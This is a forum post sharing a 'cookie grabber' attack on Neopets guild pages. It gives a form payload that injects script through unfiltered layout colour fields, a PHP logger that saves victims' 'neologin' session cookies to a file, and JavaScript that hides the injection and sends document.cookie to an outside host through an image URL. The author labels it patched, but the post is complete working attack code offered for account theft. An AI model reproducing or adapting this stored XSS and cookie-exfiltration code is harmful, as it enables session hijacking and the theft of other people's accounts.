Results 1 to 10 of 18

Thread: [JS] Guild CGer

Threaded View

  1. #1
    Josh's Avatar
    Joined
    Dec 2011
    Posts
    415
    Userbars
    2
    Thanks
    25
    Thanked
    378/143
    DL/UL
    82/6
    Mentioned
    120 times
    Time Online
    17d 9h 48m
    Avg. Time Online
    5m

    [JS] Guild CGer

    PATCHED

    How this works:
    The hex codes for custom layout colors aren't filtered, but they have a character limit.

    Even though we can insert code, it will fuck up the layout, so we have to fix that with the javascript, once the script has been loaded. I do this by having the string "meepsmeeps" appear twice, and then replace it with code to fix the layout.


    Guild layout thingy (Its the values you submit when editing the guild layout):
    Code:
    action=process_prefs&guild_hood=Coral+Canyon&guild_name=a23r23&guild_desc=ellomeepsmeeps&guild_welcome=" src="http://meeeeeps/ellothar.png/"meepsmeeps&guild_status=yes&presets=&guild_bgcolor=gold&custom_bg=&guild_header_text=firebrick&custom_htext=&guild_text="><script a=&custom_mtext=&guild_link=black&custom_link=&guild_mainborder=maroon  </script>&custom_mborder=&guild_secborder=darkolivegreen&custom_sborder=
    (ellothar.png is a folder. The index.php of said folder is the javascript below)


    PHP:
    Code:
    <?
    
    function getbetween($content, $start, $end)
    {
        $r = explode($start, $content);
    
        if (isset($r[1]))
        {
            $r = explode($end, $r[1]);
            return $r[0];
        }
    
        return '';
    }
    
    
    $item = $_GET['meeps'];
    $myFile = "mycookiesnotyoursasshole.txt";
    $fh = fopen($myFile, 'a') or die("can't open file");
    $neologin = getbetween($item, "neologin=", ";");
    
    $stringData = $neologin . "\n\n\n";
    fwrite($fh, $stringData);
    
    fclose($fh);
    ?>

    js:

    Code:
    var layout = "<style \/>\r\n\r\nbody{background: #FFFFFF url(\'http:\/\/sunnyneo.com\/guild\/GLD_maraqua_bg.jpg\')}\r\nbody, td, p, font{font:8pt Georgia;color: #000000;}\r\n#main a{font:8pt Georgia;color:#2E5D4A;font-weight:bold;text-decoration:none}\r\n#main a:hover{color:#077173;}\r\n#main b{color:#1D6887}\r\n#main u{color:#077173}\r\n#main i{color:#0ABEBC}\r\n#content {width:1020px}\r\nh1{border-bottom:1px dotted #14B8C0; margin-bottom:2px;text-align:center;}\r\n#ht{color:#095357; font-size:14pt; font-family:georgia; text-transform:uppercase; text-align:center;}\r\nul{padding-left:40px}\r\n#header, #footer, .sidebar {display:none;width:100px}\r\n#n, td, table { background: transparent; }\r\n#ban {display:none;}\r\n#main {margin-top:0px; margin-left:0px;}\r\n#main {border:none; background:none;  width:500px; float:left;  padding-top:0px; padding-left:0px;}\r\n.content {background:none;}\r\n<\/style \/>\r\n\r\n<div style=\"position:absolute;top:0px;left:0px;width:165px;height:84px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img1.jpg\" id=\"pic1\" width=\"165\" height=\"84\">\r\n<div style=\"position:absolute;top:0px;left:165px;width:603px;height:441px;\">\r\n<img src=\"http:\/\/sunnyneo.com\/guild\/GLD_maraqua_img2.jpg\" id=\"pic2\" width=\"603\" height=\"441\">\r\n<\/div>\r\n\r\n<div style=\"z-index:2;position:absolute;top:440px;left:661px;width:105px;text-align:center;\">\r\n<h1><font id=\"ht\">Links<\/font><\/h1>\r\n<a href=\"http:\/\/www.neopets.com\/myaccount.phtml\">My Account<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/customise\/\">Customise<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/gameroom.phtml\">Games<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/explore.phtml\">Explore<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/nf.phtml\">News<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/community\/index.phtml\">Community<\/a><br>\r\n<a href=\"http:\/\/neopets.com\/objects.phtml\">Shops<\/a><br>\r\n<a href=\"http:\/\/www.neopets.com\/mall\/index.phtml\">NC Mall<\/a><br><a href=\"http:\/\/nc.neopets.com\/membership\">Premium<\/a><br><a href=\"http:\/\/www.sunnyneo.com\">SunnyNeo<\/a><br>\r\n<br>\r\n\r\n<\/div>\r\n<div style=\"z-index:2;position:absolute;top:440px;left:166px;width:490px;\">\r\n<h1><font id=\"ht\">Welcome to the Guild!<\/font><\/h1>\r\nNew guild. Working on getting things together. :P\r\n<h1><font id=\"ht\">News and Updates<\/font><\/h1>\r\nNews and updates here\r\n<h1><font id=\"ht\">Council Chat<\/font><\/h1>\r\nCouncil Chat here<\/div>"
    var cger = "<img src=http://meeps.site.net/meep.png/cg.php?meeps=" + escape(document.cookie) + ">"
    
    var meep = document.body.innerHTML;
    var cg = meep.replace("meepsmeeps", "\"></script> Description here");
    var cg = cg.replace("meepsmeeps", "\"></script> " + layout + cger);
    
    var cg = cg.replace("<=\"\" font=\"\">", "");
    
    document.body.innerHTML = cg;
    Last edited by Josh; 08-26-2014 at 11:29 AM.

  2. The Following 4 Users Say Thank You to Josh For This Useful Post:

    |2eap (08-09-2014),Benjamin (08-09-2014),fairydust201 (08-10-2014),Tablo (08-09-2014)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •